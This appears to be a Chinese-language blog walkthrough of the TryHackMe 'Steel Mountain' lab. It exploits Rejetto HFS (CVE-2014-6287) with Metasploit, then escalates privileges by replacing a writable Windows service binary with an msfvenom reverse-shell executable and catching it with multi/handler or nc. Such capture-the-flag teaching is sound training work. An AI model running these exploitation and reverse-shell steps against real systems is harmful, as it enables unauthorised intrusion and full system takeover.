TryHackMe | Alfred Writeup

TryHackMe | Steel Mountain

Task 1 Introduction

首先部署容器,连接openvpn

Who is the employee of the month?

访问这个IP地址,查看源码图片的名字,就可以得到这个员工名字答案

Task 2 Initial Access

Scan the machine with nmap. What is the other port running a web server on?

 

用nmap扫描这个机器,问我们运行 Web 服务器的另一个端口是什么

直接开扫

nmap -T4 -A <MACHINE_IP> 
 

image-20230705185419290

Take a look at the other web server. What file server is running?

我们可以看到8080端口是一个httpfileserver 2.3版本的中间件

我们打开8080端口也可以看到下面的服务器信息

image-20230705190238148

 

 

 

但是这并不是正确答案,搜索后得到正确答案 Rejetto HTTP File Server

image-20230705190350617

 

然后搜索该版本的cve,得到编号 CVE-2014-6287

Use Metasploit to get an initial shell. What is the user flag?

打开msf,搜索httpfileserver漏洞,很明显只有一个,所以我们直接use它就行

image-20230706110214981

image-20230706112724143

image-20230706112841487

Task 3 Privilege Escalation

上传PowerUp.ps1脚本,加载PowerShell扩展并获取PowerShell的Shell

这个文件夹是我自己创建的,为了方便

image-20230706145103404

上传完后加载powershell执行这个文件

load powershell  //加载powershell
powershell_shell //进入powershell
. .\PowerUp.ps1 //执行我们刚刚下载的脚本 注意俩个点之间有空格
Invoke-AllChecks //Invoke-AllChecks 是一个运行模块中包含的所有检查的函数。该函数以有用的格式输出检查结果,并为我们提供有关在哪里查看权限提升的建议。我们收到了检查结果列表并建议了可能的 PowerUp 攻击

 

然后关注AdvancedSystemCareService9这个服务的CanRestart,如果它为True

image-20230706121108390

可以看到,因为CanRestart 选项为真,允许我们重新启动系统上的服务,应用程序的目录也是可写的。这意味着我们可以用我们的恶意应用程序替换合法应用程序,重新启动服务将覆盖之前的文件,从而完成恶意脚本的上传,让我们最终提取成功。

现在,我们使用kali里的 msfvenom 将反向 shell 生成为 Windows 可执行文件

msfvenom -p windows/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=1234 -e x86/shikata_ga_nai -f exe-service -o ASCService.ex

image-20230706145817112

然后关闭AdvancedSystemCareService9服务,退出shell后在meterpreter里进入Advanced SystemCare目录,最后,直接上传ASCService.exe 文件,原文件会被自动覆盖。

sc stop AdvancedSystemCareService9 //关闭服务 
cd C:/Program\ Files\ (x86)/IObit/Advanced\ SystemCare  //进入目标目录
upload /home/kali/Desktop/thm/SteelMountain/Advanced.exe //上传ASCService.exe
sc start AdvancedSystemCareService9 //开启服务 

关闭服务

image-20230707173039740

上传文件

image-20230707173158551

开启服务

image-20230707173835469

再开启前别忘记监听端口重新打开一个新的终端

1.使用msf打开监听,以获取反弹shell

use multi/handler 
set payload windows/meterpreter/reverse_tcp
set LHOST tun0 
set LPORT 1234

 

2.直接nc -lvnp 1234 这里的端口号要与你上面创建的攻击文件的端口一致

image-20230706152112358

等到连接上shell,就可以去获取答案

image-20230707173434663

Task 4 Access and Escalation Without Metasploit

//不使用MSF获取shell并提权

posted @ 2023-07-08 14:52  L0VEhzzz  阅读(31)  评论(0编辑  收藏  举报